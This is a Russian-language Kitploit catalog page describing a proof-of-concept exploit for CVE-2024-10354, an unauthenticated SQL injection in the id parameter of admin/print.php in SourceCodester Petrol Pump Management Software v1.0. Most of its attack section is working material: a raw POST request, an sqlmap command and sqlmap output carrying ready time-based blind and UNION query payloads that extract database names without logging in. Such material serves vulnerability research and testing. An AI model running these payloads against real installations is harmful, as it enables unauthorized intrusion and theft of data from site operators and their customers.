Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-10354 — Эксплойт proof-of-concept для CVE-2024-10354: SQL-инъекция в SourceCodester Petrol Pump Management Software v1.0. Демонстрирует неаутентифицированную time-based blind и UNION query инъекцию через admin/print.php для извлечения содержимого базы данных. | Kitploit
Инструменты/GitHubGitHub/k1nakoo/cve-2024-10354
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubk1nakoo/cve-2024-10354

CVE-2024-10354

Эксплойт proof-of-concept для CVE-2024-10354: SQL-инъекция в SourceCodester Petrol Pump Management Software v1.0. Демонстрирует неаутентифицированную time-based blind и UNION query инъекцию через admin/print.php для извлечения содержимого базы данных.

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Исходный код

Petrol pump management software free download | SourceCodester

Описание

Уязвимость SQL-инъекции в sourcecodester Petrol pump management software v1.0. Обнаружена уязвимость, оцененная как высокая степень риска, затрагивающая некоторую неизвестную функциональность файла admin\print.php. Использование параметра id для создания вредоносных SQL-запросов с целью получения конфиденциальной информации, что приводит к ущербу.

Анализ уязвимости

admin\print.php

image-20241023155634643

Здесь пользовательский ввод $_POST['id'] конкатенируется в SQL-запрос, что, очевидно, делает его уязвимым для SQL-инъекций.

Воспроизведение уязвимости

image-20241023160251059

root@kitploit:~
POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

id=1*

Сохраните пакет и используйте атаку sqlmap

root@kitploit:~
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

image-20241023160627277

root@kitploit:~
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR

    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---

Посмотрите на пакет: я не добавил значение cookie, что указывает на отсутствие аутентификации — для удаленной атаки не требуется вход в систему.

Можно заметить, что этот пейлоад использует два метода инъекции: time-based blind и UNION-запрос, и успешно извлекает имя базы данных.

Скачать инструмент